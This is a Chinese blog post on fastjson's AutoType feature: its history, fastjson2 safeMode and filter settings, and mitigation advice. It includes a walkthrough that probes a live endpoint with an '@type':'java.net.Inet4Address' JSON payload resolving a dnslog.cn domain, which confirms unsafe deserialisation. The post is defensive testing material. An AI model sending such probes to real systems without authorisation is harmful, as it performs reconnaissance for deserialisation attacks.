当前位置: 首页 > news >正文

乌海市网站建设百度知道下载安装

乌海市网站建设,百度知道下载安装,网页设计构建的基本流程,wordpress 优享1. 温少和他的fastjson 阿里巴巴的 FastJSON,也被称为 Alibaba FastJSON 或阿里巴巴 JSON,是一个高性能的 Java JSON 处理库,用于在 Java 应用程序中解析和生成 JSON 数据。FastJSON 以其卓越的性能和功能丰富的特点而闻名,并在…

1.  温少和他的fastjson

阿里巴巴的 FastJSON,也被称为 Alibaba FastJSON 或阿里巴巴 JSON,是一个高性能的 Java JSON 处理库,用于在 Java 应用程序中解析和生成 JSON 数据。FastJSON 以其卓越的性能和功能丰富的特点而闻名,并在阿里巴巴的开源项目和其他许多 Java 应用程序中广泛使用。

fastjson的特点和常用方法如下:

Java工具库——FastJson的40个常用方法-CSDN博客

因为fastjson自己定义了序列化工具类,并且使用asm技术避免反射、使用缓存、并且做了很多算法优化等方式,大大提升了序列化及反序列化的效率。

虽然fastjson是阿里巴巴开源出来的,但是从论坛了解到这个项目大部分时间都是其作者温少一个人在靠业余时间维护的。

知乎上有网友说:“温少几乎凭一己之力撑起了一个被广泛使用JSON库,而其他库几乎都是靠一整个团队,就凭这一点,温少作为“初心不改的阿里初代开源人”,当之无愧。”

fastjson目前是国产类库中比较出名的一个,可以说是倍受关注,所以渐渐成了安全研究的重点,所以会有一些深度的漏洞被发现。就像温少自己说的那样:

“和发现漏洞相比,更糟糕的是有漏洞不知道被人利用。及时发现漏洞并升级版本修复是安全能力的一个体现。”

2. FASTJSON Autotype机制

FASTJSON支持AutoType功能,这个功能会在序列化的JSON字符串中带上类型信息,在反序列化时,不需要传入类型,实现自动类型识别。

2.1 Autotype机制存在的历史

AutoType 机制是 FASTJSON 提供的一项特性,目的是简化 JSON 的序列化和反序列化过程。在普通的反序列化操作中,JSON 字符串需要传递具体的类型信息,而 AutoType 机制则允许在 JSON 数据中直接包含类型信息,从而在反序列化时自动识别类型。这种机制最早出现在 FASTJSON 的初期版本中,主要出于以下几个原因:

  1. 简化开发:AutoType 机制可以简化 JSON 数据在 Java 对象之间的转换过程,减少代码量,提高开发效率。
  2. 增强灵活性:通过在 JSON 数据中嵌入类型信息,可以方便地处理复杂对象和多态对象,特别是在实现继承和接口时。
  3. 广泛适用性:在很多应用场景下,特别是 RPC 调用和数据交换过程中,AutoType 机制可以极大地方便数据传输和解析。

然而,随着该机制的广泛使用,一些潜在的问题也逐渐暴露出来,特别是安全性方面。由于 AutoType 机制允许在 JSON 字符串中嵌入类型信息,攻击者可能利用这一点,注入恶意的类,从而导致反序列化漏洞。为了应对这一问题,FASTJSON 在后续版本中对 Autotype 机制进行了多次改进和优化。

2.2 FASTJSON 2 Autotype机制


2.2.1 序列化时带上类型信息


如果需要序列化时带上类型信息,需要使用JSONWriter.Feature.WriteClassName。比如:

Bean bean = ...;
String jsonString = JSON.toJSONString(bean, JSONWriter.Feature.WriteClassName);

很多时候,root对象是可以知道类型的,里面的对象字段是基类或者不确定类型,这个时候不输出root对象的类型信息,可以减少序列化结果的大小,也能提升反序列化的性能。

Bean bean = ...;
String jsonString = JSON.toJSONString(bean, JSONWriter.Feature.WriteClassName, JSONWriter.Feature.NotWriteRootClassName);


2.2.2 反序列化时打开AutoType功能以支持自动类型

Bean bean = (Bean) JSON.parseObject(jsonString, Object.class, JSONReader.Feature.SupportAutoType);

2.2.3 配置safeMode

配置SafeMode会完全禁用AutoType功能,如果程序中显式指定类型,AutoType功能也不会生效。

 JVM启动参数配置:

-Dfastjson2.parser.safeMode=true

2.2.4 使用AutoTypeFilter在不打开AutoTypeSupport时实现自动类型

当打开AutoTypeSupport,虽然内置了一个比较广泛的黑名单,但仍然是不够安全的。下面有一种办法是控制当前调用的AutoType支持范围,避免全局打开,这个更安全。

public class FastJsonRedisSerializer<T> implements RedisSerializer<T> {static final Filter autoTypeFilter = JSONReader.autoTypeFilter(// 按需加上需要支持自动类型的类名前缀,范围越小越安全"org.springframework.security.core.authority.SimpleGrantedAuthority");private Class<T> clazz;public FastJsonRedisSerializer(Class<T> clazz) {super();this.clazz = clazz;}@Overridepublic byte[] serialize(T t) {if (t == null) {return new byte[0];}return JSON.toJSONBytes(t, JSONWriter.Feature.WriteClassName);}@Overridepublic T deserialize(byte[] bytes) {if (bytes == null || bytes.length <= 0) {return null;}return JSON.parseObject(bytes, clazz, autoTypeFilter);}
}

3. fastjson反序列漏洞autoType验证

在起初阶段,AutoType的漏洞层出不穷。

从2019年7月份发布的v1.2.59一直到2020年6月份发布的 v1.2.71 ,每个版本的升级中都有关于AutoType的升级。

1.2.59发布,增强AutoType打开时的安全性 fastjson
1.2.60发布,增加了AutoType黑名单,修复拒绝服务安全问题 fastjson
1.2.61发布,增加AutoType安全黑名单 fastjson
1.2.62发布,增加AutoType黑名单、增强日期反序列化和JSONPath fastjson
1.2.66发布,Bug修复安全加固,并且做安全加固,补充了AutoType黑名单 fastjson
1.2.67发布,Bug修复安全加固,补充了AutoType黑名单 fastjson
1.2.68发布,支持GEOJSON,补充了AutoType黑名单。(引入一个safeMode的配置,配置safeMode后,无论白名单和黑名单,都不支持autoType。) fastjson
1.2.69发布,修复新发现高危AutoType开关绕过安全漏洞,补充了AutoType黑名单 fastjson
1.2.70发布,提升兼容性,补充了AutoType黑名单

甚至在fastjson的开源库中,有一个Issue是建议作者提供不带autoType的版本。后来fastjson2中改为必须显式打开才能使用autoType。

关于早期安全漏洞发掘人员和autoType功能斗智斗勇的故事如果感兴趣可以参阅以下博客:

【FastJson】FastJson AutoType-CSDN博客

3.1 漏洞验证准备工具

1. 测试工具Burp Suite 或者Postman

2. dnslog在线平台; http://dnslog.cn/

3.2 漏洞验证步骤

1. 打开Burp Suite默认浏览器

2. 访问项目地址,并登录系统,调用接口

3. Http history找到登录接口,send to Repeater(如果知道报文结构的话,前三步也可以直接用Postman工具构造请求,我的截图是使用Postman工具,引用链接使用的是Burp Suite)

4. 在dnslog在线平台获取域名

5.,把requestBody中json替换

{"zeo": {"@type": "java.net.Inet4Address","val": "3yttqu.dnslog.cn"}
}

6. 调用接口:返回成功,说明fastjson进行了正常反序列化过程

7. 回到dns平台,点击Refresh Record,获取到了调用者的ip Address

3.3 为什么测试结果验证了漏洞的存在

这个测试结果可以验证漏洞的存在,是因为它展示了一个实际成功执行的攻击示例,并且在 DNS 日志记录中捕获了相对应的 DNS 请求。

具体原因如下:

  1. 漏洞描述中的关键点

    • 漏洞涉及 Fastjson 序列化问题,允许攻击者利用 @type 属性执行潜在危险的代码。
    • 攻击者可以利用这个漏洞从系统中提取敏感信息,并对系统进行进一步的攻击。
  2. 测试请求的执行

    • 测试步骤中,通过 POST 请求向目标 URL 发送数据
    • 请求体中包含了一个特殊的 Payload
  3. 响应结果

    • 响应结果显示了 HTTP 200 状态码,表明请求被成功处理。
    • 表示 Fastjson 在处理这个请求时没有阻止序列化的数据类型,验证了 Fastjson 的漏洞。
  4. DNS 记录验证

    • 在 DNSlog 平台上的日志记录显示了 3yttqu.dnslog.cn的查询记录。
    • 这些 DNS 查询的时间戳与测试请求的时间匹配,说明目标服务器确实处理了请求,并试图解析传入的主机名。

如果你想在查阅使用Burp suite验证漏洞的范例,可以阅读以下博客:

fastjson反序列漏洞autoType验证和解决 - 简书

解决建议:

要解决该漏洞,需要在代码中将fastjson的safeModel配置为true。而fastjson2.0版本在缺省配置(safeMode)下是安全的,所以升级到fastjson2.0版本也是一个很好的办法。
 

4.温少对AutoType安全机制的介绍和安全要求

针对这些安全问题,温少亲自在github上讲述fastjson2的安全机制,并强烈要求“打开AutoType不应该在暴露在公网的场景下使用”

https://github.com/alibaba/fastjson2/wiki/fastjson2_autotype_cn

原文:

1.  必须显式打开才能使用。和fastjson 1.x不一样,fastjson 1.x为了兼容有一个白名单,在fastjson 2中,没有任何白名单,也不包括任何Exception类的白名单,必须显式打开才能使用。这可以保证缺省配置下是安全的。

2.  支持配置safeMode,在safeMode打开后,显式传入AutoType参数也不起作用。

3.  显式打开后,会经过内置黑名单过滤。该黑名单能拦截大部分常见风险,这个机制不能保证绝对安全,打开AutoType不应该在暴露在公网的场景下使用。

5.总结

针对fastjson反序列化有关的安全问题。如果系统并非内部局域网使用,使用fastjson2并且不启用默认关闭的AutoType机制是最有效的安全做法。

参考资料:

【FastJson】FastJson AutoType-CSDN博客

fastjson反序列漏洞autoType验证和解决 - 简书

https://github.com/alibaba/fastjson2/wiki/fastjson2_autotype_cn

http://www.yayakq.cn/news/440054/

相关文章:

  • 网站建设公司北京网站建设预算表格
  • 设计一个网站的步骤中国建设教育网官网
  • 怎么推销建设网站wordpress主题开发编辑器
  • 手机网站免费建设平台做seo推广手机网站
  • 怎样查看网站是否被百度收录qq推广链接
  • 广西崇左市住房和城乡建设局网站wordpress插件教程
  • 个体户可以做开发网站业务嘛wordpress crossapple
  • 网站开发后台需要自己写吗腾讯微信官网
  • 餐饮网站建设有什么好处王烨老师
  • 桥头仿做网站现在建设一个网站多少钱
  • 怎样做网站公司丰台网站建设多少钱
  • 网站上的3d产品展示怎么做怎样开网站
  • 用cms建网站容易吗企业微网站开发
  • 做家政服务网站手机应用商店app
  • c2c类型电子商务网站做网站义乌
  • 做pvc卡片的交流网站优化网站推广排名
  • 公路建设网站建设通网站会员共享密码
  • 哪做网站最好青岛做英文网站的公司
  • 营销型网站源码下载招标网站大全
  • 建设门户网站需要注意什么山东建设报网站
  • 惠州的服装网站建设广州安全教育平台登录
  • 上海网站建设规划论坛 网站建设的步骤过程
  • 怎么做类似清风dj网站建站 哪个网站系统好用
  • 网站平台怎么建立企业培训公司有哪些
  • ai做的比较好的网站wordpress 防伪系统
  • 廊坊做网站电话常州比较有名的设计公司
  • 企业网站推广平台2024年即将上市的手机
  • 制作一个买股票的网站怎么做优化推广网站怎么做最好
  • 知乎网站内容建设的逻辑企业网站托管方式
  • 江苏建设信息官网网站app开发定制公司有哪些